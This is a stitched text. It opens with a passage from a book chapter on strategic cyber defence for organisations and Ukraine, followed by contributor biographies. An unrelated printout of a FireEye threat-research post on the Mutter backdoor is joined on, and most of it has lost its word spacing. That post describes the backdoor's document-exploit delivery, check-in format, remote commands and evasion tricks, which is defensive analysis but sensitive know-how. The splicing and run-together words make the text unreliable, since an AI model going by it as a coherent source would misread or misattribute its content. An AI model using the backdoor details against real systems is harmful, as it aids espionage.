fr/en/french-foreign-policy/defence-security/cyber-security/.
13 Shannon Tiezzi.
Xi Jinping Leads Chinas New Internet Security Group, The Diplomat, 28 February 2014, http://thediplomat.
com/2014/02/xi-jinping-leads-chinas-new-internet-security-group/.
164 that, with so much focus on cyber and information security at the upper levels of management, defence strategies would be clear.
However, despite numerous recent high-profile breaches, security leaders continue to fret that their organisations busi- ness leadership didnt provide them the support and space they need to secure their organisations properly.14 Improving the dynamics of strategic thought according to the proven military model can help organisations and nation states move beyond a tools and tactics focused approach.
The latter is by far the prevailing paradigm.
For example, one 2014 RSA Conference presentation encouraged attendees to exploit pet projects and capitalise on timely events by using the near-death experiences of others to justify security spend.15 One 2015 article written for security managers stressed the need for more capable software, stating that a CISO must successfully address many challenging elements when procuring a new security technology solution.16 In 2014, Symantecs Senior Vice President for Information Security said that only 45 of cyber attacks are prevented by anti-virus software, calling it a dead tech- nology.17 Writing secure software, while a laudable goal, continues to be difficult, even for leading companies like Microsoft.
Bill Gates accelerated the programme to find a secure development lifecycle in 2002, but the vendor continues to release patches for remote code execution vulnerabilities in core Microsoft platforms on a monthly basis.
In brief, we need more than tools and tactics to counter digital adversaries.
When trying to learn how to communicate with higher level managers and CISOs, agency leads, and policy-makers are bombarded with advice like the fol- lowing: One of the most strategic skills a security chief can bring is the profi- ciency in translating security speak into the language of business risks and financial ROI [return on investment] terms... At the board level, the ability to show dollar return on security initiatives is critical to ensure continued executive support on security investments.18 The problem with the focus on tools and tactics, and related topics of risk and ROI is that higher-level management and boards do not feel connected to the true defensive posture of their organisation.
Because leaders have not been valued parts of the security program development process, they think security is mainly an issue to be solved by technical professionals.
Their experience with the IT and security 14 George V. Hulme.
The CSOs failure to lead, CSO Magazine, 9 June 2014, http://www.csoonline.com/article/2360984/securi- ty-leadership/the-cso-s-failure-to-lead.html.
15 John B. Dickson.
Getting Your Security Budget Approved without FUD, RSA Conference 2014, http://www.rsaconference.
com/writable/presentations/file_upload/ciso-w04a-getting-your-security-budget-approved-without-fud.pdf.
16 Craig Shumard.
CISOs Face Tough Challenges When Procuring Security Technologies, Tenable Network Security, 5 March 2015, http://www.tenable.com/blog/cisos-face-tough-challenges-when-procuring-security-technologies.
17 Danny Yadron.
Symantec Develops New Attack on Cyberhacking, Wall Street Journal, 4 May 2014, http://www.wsj.com/ articles/SB10001424052702303417104579542140235850578.
18 Danelle Au.
Getting the CISO a Seat, Security Week, 16 July 2012, http://www.securityweek.com/getting-ciso-seat.
165 worlds has led them to approach security as an issue of approving budgets to pur- chase ever-more-costly security software.
The Christian Science Monitor reported the following in February 2015: In a survey commissioned by defence contractor Raytheon of 1,006 chief information officers, chief information security officers, and other technology executives, 78 percent said their boards had not been briefed even once on their organisations cybersecurity strategy over the past 12 months ...
The findings are similar to those reported by Pricewaterhouse- Coopers in its Global State of Information Security Survey last year in which fewer that 42 percent of respondents said their board actively par- ticipates in overall security strategy.19 In light of these challenges, this chapter advocates making boards and higher-level managers integral aspects of the security process, by way of strategic thought.
5 Cyber Security without Strategy The following scenario will help the reader understand how the application of stra- tegic cyber security principles can better protect digital assets.
A private organisa- tion suffers targeted attacks by both criminal and nation-state threat groups, which not only compromise the organisation but also steal intellectual property including trade secrets, sensitive commercial data, and other digital resources.
The traditional tools-and-tactics security model is characterised by suboptimal communication and poor alignment between the management, board, and security team.
The latter, led by the CISO, is determined to counter the adversary.
Their first instinct will be to take some concrete action: to hire new personnel, to develop a new capability, to adopt a new tactic, or to purchase a new software tool.
Next, they will attempt to translate their plan into business speak, and the CISO will develop an argument based on an ROI estimate that includes the cost of the initiative, the amount of money it should save (if all goes well), and a mathematical calculation of the overall risk to the enterprise.
If asked by the CEO or board to explain his or her rationale, the CISO will reply that a tools-and-tactics approach will save the enterprise money and reduce its level of risk.
Finally, the management will give the proposal a green light, or send the CISO back to the drawing board.
19 Jaikumar Vijayan.
After high-profile hacks, many companies still nonchalant about cybersecurity, Christian Science Mon- itor, 19 February 2015, http://www.csmonitor.com/World/Passcode/2015/0219/After-high-profile-hacks-many-compa- nies-still-nonchalant-about-cybersecurity.
This chapter advocates mak- ing boards and higher-level managers integral aspects of the security process.
166 This budget request cycle is repeated ad nauseam, until management gets wise to the fact that network security ROI seems to have an Alice-in-Wonderland quality about it: the more money they spend, the more money they are supposed to save.
Eventually, management realises that security is a lot more about loss prevention than revenue generation, and they begin to feel disconnected (and disaffected) from the defence of their digital resources.
Further, they recognise that their organisation is one of many whose boards are not briefed on real strategy, and who have in fact never participated in serious strategy formulation.
6 Strategic Cyber Security A strategic cyber security programme, by contrast, does not begin with tools and tactics, but with an articulation of one or more programme goals.
First, the strate- gy-minded CISO gets executive buy-in to those goals.
To that end, the CISO must incorporate all levels of strategic thought, starting with the board and CEO  every- one must feel ownership and participation.
The smart CISO recognises that security is a journey, not a destination, and that relationship building requires an ability to translate between technical and non-technical vocabularies.
The CISO ensures that the programme goals accurately govern the objectives of the enterprises digital security programme.
In our scenario, the CISO, board, and CEO all agree that, with respect to intellectual property, trade secrets, and sensitive data, the new policy goal is to minimise loss due to intrusion.
This statement implies that everyone understands that stopping all adversaries and all attacks is simply not possible, especially when dealing with nation-state actors and some advanced criminal groups.
The primary objective of this exercise is to achieve consensus on a simply stated, non-technical programme goal.
No in-depth technical discussion is needed to achieve consensus, although the CISO must ensure that all goals, policies, and strategies are technically feasible.
With a mandate in hand, the CISO can confi- dently work with his or her security team to plan the necessary operations and cam- paigns and, if necessary, acquire new tools and tactics to facilitate them.
Together, they decide to implement a network security monitoring (NSM) operation, defined as the collection and escalation of indications and warnings to detect and respond to intruders.20 The security team begins the long-term, strategic process of hunting for hostile cyber attack campaigns, encom- passing both known and unknown intrusion patterns.
20 Richard Bejtlich.
The Practice of Network Security Monitoring (San Francisco, CA: No Starch 2013).
The primary objective is to achieve consensus on a simply stated, non-technical programme goal.
167 The CISO, board, and CEO all agree that a second programme goal is the rapid detection, response, and containment of cyber threats.
This goal helps to ensure that when intruders breach the perimeter defences, the game is far from over.
Defenders can still win, so long as they contain the threat before the attacker can accomplish his or her ultimate mission.
Therefore, the security team will develop strategies to identify compromises quickly, determine their nature, give them some level of attribution, and above all develop a plan to stop the attacker from accomplishing his or her mission.
At the tactical level of individual engagements with the adversary  the equiva- lent of battles in war  the security team will have myriad decisions to make, includ- ing whether to dislodge the intruder immediately or whether to watch the intruder for a time in order to collect valuable intelligence.
Some tactics govern how specific tools or techniques can be used, such as when Star Trek personnel switch their hand phasers between stun and kill.
As always, the adversary gets a say in what happens, but from the enterprises point of view, programme goals, policies, and guidelines should be written to govern this entire process.
7 The Relevance of Campaigns Central to the concept, and success, of a strategic security program is the campaign, which functions at the operational level.
In some sense, the maturity of a security programme can be derived from the attention shown by the CISO and his or her security team to campaign development, and the understanding of campaign prog- ress and analysis by top management.
Consider the following quote from a Febru- ary 2015 Reuters report on defence contractor Lockheed Martin: [Chief Executive Officer Marillyn] Hewson told the companys annual media day that Lockheed had faced 50 coordinated, sophisticated cam- paign attacks by hackers in 2014 alone, and she expected those threats to continue growing.21 When Ms. Hewson spoke in terms of campaigns, she showed that her security team thinks and works at an advanced level.
It is likely that Lockheed also aligns campaigns with specific threat actors and motives.
Speaking about specific campaigns and ranking them in terms of sophistication and impact permits a vastly more meaningful discus- sion with other executives, the board, and other stakeholders.
The CEO should be able to speak in detail about the threat actors behind the campaigns, including their means and motives, as well as illustrative examples of each campaign and how the security team detected and responded to them.
The term campaign also matches well with non-tech- nology business operations such as marketing campaigns and sales campaigns.
21 Andrea Shalal.
Lockheed sees double-digit growth in cyber business, Reuters, 18 February 2015, http://www.reuters.com/ article/2015/02/19/us-lockheed-cybersecurity-idUSKBN0LN03K20150219.
168 Contrast this approach with a recent briefing by Japans National Institute of Information and Communications Technology, which appeared in the Japan Times: The number of computer attacks on government and other organisations detected in Japan doubled in 2014 from the previous year to a record 25.66 billion, a government agency said Tuesday.22 Discussing individual attacks has limited value, as discrete incidents include everything from a suspicious TCP packet, to an odd computer port, dubious SQL query, or phishy email.
On the other hand, how can anyone devise a credible pro- gramme goal to counter over 25 billion attacks?
The sweet spot lies in the middle, in grouping the primary threats and threat actors into coherent and logical campaigns.
This is the best way for the enterprise  or a nation state  to counter an interactive and adaptive adversary.
8 Strategic Cyber Defence in Ukraine The government of Ukraine, which has tense relations with Russia and is embroiled in an ongoing war, is likely the target for many ongoing cyber attack campaigns.
This author advises that the only way to counter an offensive campaign is with an equally determined defensive campaign.
In April 2015, the security com- pany Looking Glass exposed Operation Armageddon, which it described as a cyber espionage campaign (active since 2013) designed to provide a military advantage to Russia by targeting Ukrainian government, law enforcement, and military officials for information of intelli- gence value.
The researchers found a direct correlation between digital attacks and the ongoing war, including an alarming blend of cyber espionage, physi- cal warfare, and geopolitics.23 Recent reports by security companies Trend Micro and FireEye describe other Russian campaigns, assigned the monikers Operation Pawn Storm and APT28, respectively.24 According to FireEye, APT28 appeared to target individuals affiliated with European security organisations, including the North Atlantic Treaty Organisation (NATO) and the Organisation for Secu- 22 Cyberattacks detected in Japan doubled to 25.7 billion in 2014, Japan Times, 17 February 2015, http://www.japantimes.co.jp/ news/2015/02/17/national/crime-legal/cyberattacks-detected-in-japan-doubled-to-25-7-billion-in-2014/.
23 Looking Glass Security, Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare (Bump- as, VA: Looking Glass Security Corporation 2015) https://lgscout.com/wp-content/uploads/2015/04/Operation_Armaged- don_FINAL.pdf.
24 Loucif Kharouni, et al, Operation Pawn Storm: Using Decoys to Evade Detection (Trend Micro Incorporated: Irving, TX 2015) http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf and APT28 https://www.fireeye.com/resources/pdfs/apt28.pdf.
The only way to counter an offensive campaign is with an equally determined defensive campaign.
169 rity and Cooperation in Europe (OSCE) which the Russian Government has long cited as existential threats.25 Similarly, Russian non-government groups such as CyberBerkut have been active against NATO and Ukrainian targets.26 In March 2014, the group directed Distrib- uted Denial of Service (DDoS) attacks against NATOs main website, the CCD COE website, and NATOs Parliamentary Assembly website.27 In October 2014, on the eve of parliamentary elections in Ukraine, the website of the countrys Central Elec- tion Commission suffered DDoS attacks.28 The group has apparently also targeted US military contractors working in Ukraine, stealing and publishing documents about the movement of Western military equipment to Ukraine.29 Nation state security requirements are strategic in nature, and they do not fre- quently change.
For what is seen to be a valid national security concern, states will devote enormous human and technological resources to achieve their objectives, and use a variety of methods and attack vectors.
Neither does a state give up after one or even a hundred unsuccessful tactical engagements.
Rather, it will adapt, and usually overcome defences eventually.
The key factor that sets nation states apart from individuals and even hacker groups like Anonymous is persistence, and the ability to maintain persistence indefinitely.
Actors such as Russia also qualify as highly advanced.
Here is the authors work- ing definition, published in 2009: Advanced means the adversary can operate in the full spectrum of computer intrusion.
They can use the most pedestrian publicly available exploit against a well-known vulnerability, or they can elevate their game to research new vul- nerabilities and develop custom exploits, depending on the targets posture.30 Recognising that any nation-state  in this case Russia  has the capability to adapt and overcome is one reason why threat attribution is so important, at all levels of strategic thought.31 This means that any time the security team recognises a failed intrusion attempt as coming from an advanced persistent threat actor, they can be sure the foe will return with a new technique and perhaps even a new campaign.
25 Ibid.
26 Berkut is Ukrainian for special police force, although CyberBerkut is a pro-Russian group.
27 Ukrainian CyberBerkut takes down NATO websites, RT, 16 March 2014, http://www.rt.com/news/nato-websites-ddos- ukraine-146/.
28 Vitaly Shevchenko.
Ukraine conflict: Hackers take sides in virtual war, BBC News, 20 December 2014, http://www.bbc.com/ news/world-europe-30453069.
29 Jack Smith IV, Pro-Russian Hackers Expose U.S. Military Contractor Activity in Ukraine, Observer, 2 March 2015, http:// observer.com/2015/03/pro-russian-hackers-expose-u-s-military-contractor-activity-in-ukraine/.
30 Richard Bejtlich.
What APT Is, Information Security Magazine, July 2010, http://www.academia.edu/6842130/What_APT_Is.
31 Richard Bejtlich.
Five Reasons Attribution Matters, TaoSecurity Blog, 30 December 2014, http://taosecurity.blogspot.
com/2014/12/five-reasons-attribution-matters.html.
9 Conclusion The Ukrainian Government currently finds itself at a tactical disadvantage vis--vis Russia, both on the traditional field of battle and in cyberspace.
However, cyber security, especially at the national level, is a strategic game, and Kyiv can make smart investments that will pay off over the long run.
This chapter has argued for the need to apply strategic thought to digital defence.
It began by advocating the utility of a mili- tary model in cyberspace, albeit without any desire for the militarisation of cyberspace.
The author explained how the military mind set, based on conflict with dynamic, adaptive adversaries, is a more reliable strategy than the popular cyber hygiene model.
It then described the five levels of strategic thought, which link goals with policy, strategy, campaigns and operations, tactics, and tools.
The author applied each level of strategic thought to a hypothetical network defence scenario.
By inte- grating strategic thought into digital defence, this chapter demonstrated an alterna- tive to technology-centric approaches that are not sufficient to defeat the adversary.
In a time of war, Ukraine is a natural target for many cyber threat actors and campaigns.
The only way to counter them is to develop an equally determined defensive posture in cyber space.
Cyber security, especially at the national level, is a strategic game.
171 Authors Richard Bejtlich is FireEyes Chief Security Strategist previously, he was Mandi- ants Chief Security Officer.
Richard is a nonresident senior fellow at the Brookings Institution, and an advisor to Threat Stack, Sqrrl, and Critical Stack.
He is pursu- ing a Master/Doctor of Philosophy in War Studies at Kings College London.
He was Director of Incident Response for General Electric, where he built and led the 40-member GE Computer Incident Response Team (GE-CIRT).
Richard served in the Air Force Computer Emergency Response Team (AFCERT), Air Force Infor- mation Warfare Center (AFIWC), and Air Intelligence Agency (AIA).
He is a grad- uate of Harvard University and the United States Air Force Academy.
His widely followed blog is at taosecurity.blogspot.com, and his fourth book is The Practice of Network Security Monitoring.
Michelle Cantos is the Cybersecurity Program Coordinator for Columbia Universi- tys Saltzman Institute of War and Peace Studies.
Michelle is a graduate of Columbias School of International and Public Affairs, where she studied international security policy with a focus on cyber defense.
In the spring of 2015, she participated in The Atlantic Councils Cyber 9/12 Student Challenge, where her team competed against twenty teams and earned second place in the policy challenge.
She has worked as a cybersecurity intern for the American Foreign Policy Council, and was a research assistant for Dr. Abraham Wagner.
Kenneth Geers (PhD, CISSP) is a NATO CCD COE Ambassador, a Non-Resi- dent Senior Fellow at the Atlantic Council, and a Visiting Professor at the Taras Shevchenko National University of Kyiv in Ukraine.
Dr. Geers spent twenty years in the U.S. Government (U.S. Army, NSA, NCIS, NATO), and was a Senior Global Threat Analyst at FireEye.
He is the author of Strategic Cyber Security, Editor of Cyber War in Perspective: Russian Aggression against Ukraine, Editor of The Virtual Battlefield: Perspectives on Cyber Warfare, Technical Expert for the Tallinn Man- ual on the International Law Applicable to Cyber Warfare, and author of more than twenty articles and chapters on international conflict in cyberspace.
172 Keir Giles is an Associate Fellow of Chatham Houses International Security Depart- ment and Russia and Eurasia Programme.
He also works with the Conflict Studies Research Centre (CSRC), a group of subject matter experts in Eurasian security.
After acquiring a wide range of experience in other fields in Europe and the former Soviet Union, Keir originally joined CSRC at the UK Defence Academy (UKDA) as a special- ist in human factors influencing Russian military, defence and security issues.
Keir now oversees the research and publications programme of the new, independent CSRC, while continuing to write and publish there and for Chatham House on his own spe- cialist area of Russian approaches to conventional, cyber, and information warfare.
Jason Healey is a Senior Research Scholar at Columbia Universitys School for International and Public Affairs, specializing in cyber conflict, competition, and cooperation.
He was the founding director of the Cyber Statecraft Initiative at the Atlantic Council, where he remains a Senior Fellow.
Jason is the author of doz- ens of published articles and editor of the first history of conflict in cyberspace, A Fierce Domain: Cyber Conflict, 1986 to 2012.
During his time in the White House, he was a director for cyber policy and helped advise the President and coordinate US efforts to secure US cyberspace and critical infrastructure.
He has also been an executive director at Goldman Sachs in Hong Kong and New York, vice chair- man of the FS-ISAC, and a US Air Force intelligence officer at the Pentagon and National Security Agency.
Jason was a founding member (plankowner) of the first cyber command in the world, the Joint Task Force for Computer Network Defense, in 1998.
He is president of the Cyber Conflict Studies Association.
Margarita Levin Jaitner researches Information Warfare in cyberspace within the Russia Project at the Swedish Defence University.
Currently, she focuses on the Rus- sian concept of information superiority.
Margarita holds an MA degree in Societal Risk Management from Karlstad University and a BA in Political Science from the Swedish National Defence College.
Nadiya Kostyuk is a doctoral student in a joint program of Political Science and Public Policy at the University of Michigan.
Prior to her studies, Nadiya worked as a Program Coordinator for the EastWest Institutes Global Cooperation in Cyber- space Initiative, where she now serves as a Fellow.
Nadiyas research interest is the relationship between cybercrime and international security, interdependence, cooperation, and state sovereignty.
Currently, Nadiya is working on a project to map the relationship between kinetic and cyber operations in Eastern Ukraine.
Nikolay Koval is CEO of CyS Centrum LLC, in Kyiv, Ukraine.
A graduate of the Kyiv Polytechnic Institute, Nikolay served at the State Service of Special Communi- cation and Information Protection of Ukraine.
He was responsible for the organiza- tion and coordination of Ukraines computer emergency response team (CERT-UA) 173 activities, including incident handling, technical analysis, and international engage- ment.
His new company specializes in cyber threat prevention.
Elina Lange-Ionatamishvili is a Senior Expert at the NATO Strategic Communi- cations Centre of Excellence (NATO StratCom COE) in Riga, Latvia, where she has analyzed Russias ongoing information campaign against Ukraine.
Previously, Elina was head of the Public Diplomacy Division at the Ministry of Defence of Latvia (2007-2009), worked on public diplomacy projects under the NATO Riga Summit Task Force (2006), managed the NATO Professional Development Programme in Georgia, and helped to found the international NGO Baltic to Black Sea Alliance, which has addressed media freedom and professionalism in EU Eastern Partner- ship countries.
Elina has been awarded by the Latvian Minister of Defence, and received the Order of Honour from the President of Georgia.
James Andrew Lewis is a Senior Fellow at the Center for Strategic and Interna- tional Studies, directs the CSIS Technology Program, and previously worked at the Departments of State and Commerce as a Foreign Service Officer and member of the Senior Executive Service.
Lewis helped to develop the initial policies to secure and commercialize the Internet, led the U.S. delegation to the Wassenaar Arrange- ment Experts Group, and was Rapporteur for the UN Group of Government Experts on Information Security during their successful 2010, 2013, and 2015 sessions.
Jim has authored numerous CSIS publications, and was Director for the Commission on Cybersecurity for the 44th Presidency, the best-selling report whose contributions to U.S. policy have been publicly recognized by the President.
His current research examines sovereignty on the Internet, cybersecurity norms, warfare, and technolog- ical innovation.
Lewis received his Ph.D. from the University of Chicago.
Martin Libicki (Ph.D., U.C.
Berkeley 1978) has been a distinguished visiting professor at the U.S.
Naval Academy and a senior management scientist at RAND since 1998, focusing on the impacts of information technology on domestic and national secu- rity.
He wrote two commercially published books, Conquest in Cyberspace: National Security and Information Warfare, and Information Technology Standards: Quest for the Common Byte, as well as numerous RAND monographs, notably Brandishing Cyberat- tack Capabilities, Crisis and Escalation in Cyberspace, Global Demographic Change and its Implications for Military Power, and Cyber-Deterrence and Cyber-War.
He co-au- thored How Insurgencies End and How Terrorist Groups End.
Martin is currently writ- ing a textbook (due out in Spring 2016) from which a Cyberwar class can be taught.
Jarno Limnll is a Professor of Cybersecurity at Aalto University in Finland, and the Vice President of Cybersecurity at Insta Group plc.
Professor Limnll has been working with security issues for over 20 years.
He holds a Doctor of Military Sci- ence degree in Strategy from the National Defense University in Finland a Master 174 of Social Science degree from Helsinki University and an Officers degree from the National Defense University.
Limnll served many years as an officer in the Finnish Defense Forces, and has worked as a Director of Cybersecurity at McAfee.
His most recent book is Cybersecurity for Decision Makers.
Tim Maurer is the Director of the Global Cybersecurity Norms and Resilience Proj- ect, and Head of Research at New Americas Cybersecurity Initiative.
He is part of New Americas Future of War project and serves as a member of the Research Advisory Network of the Global Commission on Internet Governance, the Freedom Online Coalitions cybersecurity working group An Internet Free and Secure, and was co-chair of the Advisory Board for the Global Conference on Cyberspace.
He holds a Master in Public Policy concentrating on international and global affairs from the Harvard Kennedy School.
Glib Pakharenko (CISA, CISSP) is an IT security specialist, board member for the OWASP and ISACA Kyiv chapters, forum moderator, and the conference organizer for the largest information security community of Ukraine, the Ukrainian Informa- tion Security Group.
Glib has over 10 years of IT security experience in financial, telecom, media, and other industries.
He actively supports the reform and modern- ization of Ukrainian national cyber security policies, and reviews technical and IT security translations into the Ukrainian language.
Liisa Past is a NATO CCD COE adviser and spokesperson, with academic inter- ests in political communication, argumentation, and discourse analysis.
Educated at Columbia University, the University of Oslo, and Tartu University, Liisa has taught at numerous institutions of higher education, and worked with companies, organi- zations, and a political party on strategic communication and public relations.
As an activist, she has contributed to human rights causes and has worked with the Inter- national Debate Education Association, Estonian Debating Society, and Baltimore Urban Debate League.
Henry Rigas is a researcher in the Law and Policy Branch at NATO CCD COE, studying policy matters such as state interest in global cyber diplomacy, interna- tional norm development, the role of international organisations, and the cyber security posture of small states.
He is the Project Manager of the Ukraine case study book and the Centres INCYDER (International Cyber Developments Review) data- base.
Henry holds a Masters degree in International Relations from the University of Tartu.
Jan Stinissen is a military lawyer in the Netherlands Army with the rank of Lieu- tenant Colonel.
He served as a military lawyer for more than 20 years in different positions in The Netherlands and in Germany.
He was deployed as a Legal Advisor with NATO missions abroad.
Most recently, Lt Col Stinissen worked as a Researcher with the Law and Policy Branch at the NATO CCD COE in Tallinn, Estonia.
He holds a Master in Law degree from the University of Utrecht, The Netherlands.
Sanda Svetoka is a Senior Expert at the NATO Strategic Communications Centre of Excellence (NATO StratCom COE) in Riga, Latvia, where she is the project leader for StratComs study on how social media are used as a weapon in hybrid warfare.
From 2004-2005, she worked as a news reporter at the Latvian information agency LETA.
In 2005, she joined the Latvian Ministry of Defence, where she coordinated Latvian cooperation with NATO partner countries.
In 2010-2011, Ms Svetoka was Public Relations Advisor to the NATO Advisory Team in Kosovo.
From 2011-2014, she served as a Press Officer at the Military Public Relations Department of the Latvian Ministry of Defence.
Ms Svetoka holds an MA in Political Science from the University of Latvia.
Jen Weedon is a strategic threat intelligence analyst and cyber risk management consultant at FireEye.
Jen played a key role in building out Mandiants intelligence team and contributed to Mandiants landmark APT1 report, linking a long-running cyber espionage effort to a Chinese military unit.
She worked on the cyber espio- nage and hacktivist portfolios at iSIGHT Partners.
Prior to that, Jen analyzed and briefed policymakers on Russias intents and motivations in cyberspace for the U.S. defense community.
She is a graduate of the Fletcher School of Law and Diplomacy (2008) and Smith College (2002), was awarded a Fulbright Fellowship in Ukraine (2002-2003), and is an inaugural fellow for Foreign Policy Interrupted (2015).
Professor James J. Wirtz is Dean, School of International Graduate Studies at the U.S.
Naval Postgraduate School in Monterey, California.
He is editor of the Palgrave Macmillan series, Initiatives in Strategic Studies: Issues and Policies, and a past pres- ident of the International Security and Arms Control Section of the American Polit- ical Science Association.
In 2005, he was a Visiting Professor at the Center for Inter- national Security and Cooperation, Stanford University.
Between 2009 and 2014 he served as the Director of the Global Center for Security Cooperation, Defense Security Cooperation Agency.
His work on intelligence, deterrence, the Vietnam War, and military innovation and strategy has been widely published in academic journals.
Professor Wirtz is a graduate of Columbia University (MPhil 1987, PhD 1989), the University of Delaware (MA 1983, BA 1980), and was a John M. Olin Pre-Doctoral Fellow at the Center for International Affairs, Harvard University.
OLE_LINK1 OLE_LINK2
4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 1/12 THE MUTTER BACKDOOR: OPERATION BEEBUS WITH NEW TARGETS April17,2013byJamesT.BennettThreatResearch,AdvancedMalware,TargetedAttack FireEyeLabshasobservedaseriesofrelatedattacksagainstadozenorganizationsintheaerospace,defense,and telecommunicationsindustriesaswellasgovernmentagencieslocatedintheUnitedStatesandIndiawhichhave beenoccurringatleastasearlyasDecemberof2011.Inatleastonecase,adecoydocumentincludedintheattack containedcontentthatfocusedonPakistanmilitaryadvancementsinunmannedvehicle,ordronetechnology.
Technically,theseattacksexploitedpreviouslydiscoveredvulnerabilitiesviadocumentfilesdeliveredbyemailin ordertoplantapreviouslyunknownbackdoorontovictimsystems.
Themalwareusedintheseattacksemploysa numberofinterestingtechniquestohideinplainsightandtoevadedynamicmalwareanalysissystems.
Similarto, thoughnotbasedontheattackswesawinSouthKorea,themalwaretriestostayinactiveaslongaspossibleto evadedynamicanalysisdetectionmethods.
WehavelinkedtheseattacksbacktoOperationBeebusthroughtheCCinfrastructurealongwiththesimilartargets andtimelineobserved.
AlthoughsomeofthetargetsoftheseattacksoverlappedwithBeebustargets,therewere manynewtargetsdiscoveredincludingsomeinIndia.
Asweuncovermoretargetsrelatedtotheseattacks,weare seeingacommonlinkbetweenthem:unmannedvehicles,alsoknownasdrones.
Thesetoftargetscoverall aspectsofunmannedvehicles,land,air,andsea,fromresearchtodesigntomanufacturingofthevehiclesandtheir varioussubsystems.
OtherrelatedmalwarehavebeendiscoveredthroughthesameCCinfrastructurethathavea similarsetoftargets,thatwhenincludedbringthetotalnumberoftargetstomorethan20asofthiswriting.
These targetsincludesomeinacademiawhichhavereceivedmilitaryfundingfortheirresearchprojectsrelatingto unmannedvehicles.
INFILTRATION Alloftheattackswehaveobservedoccurredthroughdocumentexploitsattackingknownvulnerabilities.
Wehave seenRTFandXLSfilesusedfordelivery.
Searchingtheinternetfortheauthoranddocumentnamesyields informationregardingSouthAsiapolitics.
Althoughallofthedocumentexploitswehaveanalyzeddropadecoy document,mostofthemareeitheremptyorfilledwithunreadabledatawithtwoexceptions.
Home FireEye Blogs Threat Research Blog The Mutter Backdoor: Operation Beebus with New Tar...
Menu Customer Stories  Blogs https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-james-t-bennett https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research/threat-research/malware-research https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research/threat-research/targeted-attack https://www.fireeye.com/blog/threat-research/2013/02/operation-beebus.html https://www.fireeye.com/index.html https://www.fireeye.com/blog.html https://www.fireeye.com/blog/threat-research.html https://www.fireeye.com/customers.html https://www.fireeye.com/blog.html https://www.fireeye.com/index.html 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 2/12 OneisanarticleaboutPakistansindigenousUAVindustrywhichisattributedtoauthorAditiMalhotra,anIndian writerandAssociateFellowattheCentreforLandWarfareStudies(CLAWS)inNewDelhi.
Althoughwearenotsure thisparticularworkisactuallyhers,wedidfindareferencetoasimilarlynamedarticlePakistansUAVprogramme: Ambitious,withsomefriendlyhelp.
Unfortunately,thisdocumentwasnotavailable.
Otherworksofhersonasimilar noteincludeIndiasSilenceonChineseIncursionsandChinaandPakistan:DangerousLiaisons.
TheotherdecoydocumentiscontactinfoforanAmericanwithamilitaryprovidedemailaddressfromJointBase AndrewsinMaryland,butwithaphysicaladdressinPakistantitledFamilyPlanningAssociationofBase(FPAB).It looksliketheytooktheFamilyPlanningAssociationofBangladeshandcombineditwithJointBaseAndrews.
The titleoftheemailfieldisFPAPEmail,FPAPcouldstandforFamilyPlanningAssociationofPakistan.
Ultimately, wecouldmakenosensefromthisinformation.
THE MUTTER BACKDOOR Twodifferentversionsofthesamebackdoorwereusedinalloftheseattacks.
Ineverycasewehavefound,the maincomponentisaDLLdroppedbyanexecutablecompiledminutesaftertheDLL.Thedroppersharesthesame decodingfunctionsastheDLLandperformssomemodificationsontheDLLthatwillbedescribedlater.
Therewas oneuniquecasewefoundwheretheinitialdropperwasaselfextractingarchivethatutilizesVisualBasicandbatch scriptstodownloadandinstalltheDLLinsteadofextractingitfromaresource.
MutterisHTTPproxyaware,andattemptstodetermineifaproxyisrequiredandwhattheproxydetailsareif necessary.
Itusesgoogle.co.intoperformsuchtests.
ItusesHTTPtocommunicatewiththeCCserverand https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-decoy-doc.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 3/12 expectsanencodedstringbetweenapairof ptagsintheresponse.
TheURLintherequesthasoneparameter, i,whichissettoanencodedrepresentationofastringthatfollowsthisformat: Mutterversioncampaignmarker?victimhostnamevictimIPaddress Wearenotcertainaboutthesecondpartofthisstring,itmaybeeitheracampaignmarkeroranextensionofthe versionnumber.
Inallourcases,itissettoeitherSN0orSN1.Actualstringsaresharedintheappendix informationattheendofthisblog.
ThisHTTPrequestpicturedinthescreenshotisfromtheolderversionofMutter.
ThenewerversionsofMutterhave averysimilarHTTPrequest,butwiththe Hostand Connectionheadersswapped.
Theresponsestringisdecodedandparsedforthefollowingcommands: m:executesashellcommand u:uploadsafiletothevictim(downloadsafilefromthevictimsperspective) d:downloadsafiletotheattacker(uploadsafilefromthevictimsperspective) R:removestheautorunregistryvalue Thesecommandsarereferencedinthecodeinthisorder,andwhensaidalouditsoundslikemutter,hencethe namechosenforthemalware.
Intheearlierversionofthisbackdoor,thedcommandwasreferenced,butthecode hadnotbeenimplementedyet.
Inbothversions,anothercommandstringfappearsalongwiththeothers,butisnot referencedinthecode.
Thisperhapsindicatesafuturefeaturetobeadded.
Thismalwareemploysseveralinterestingevasiontechniques.
Forstarters,itemploysseveralhideinplainsight techniquescommontomalwareusedintargetedattacks.
Itspecifiesfakeproperties,pretendingtobeGoogleor Microsoft.
https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-callback.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 4/12 Thisbringsustothenexthideinplainsighttacticwenoticed.
Observethesizeofthefileabove.
Itsawhopping41 megabytes.
Withrareexception,malwaretypicallyhaveasmallsizeusuallynolargerthanafewhundredkilobytes.
Whenaninvestigatorcomesacrossafilemegabytesinsize,hemaybediscouragedfromtakingacloserlook.
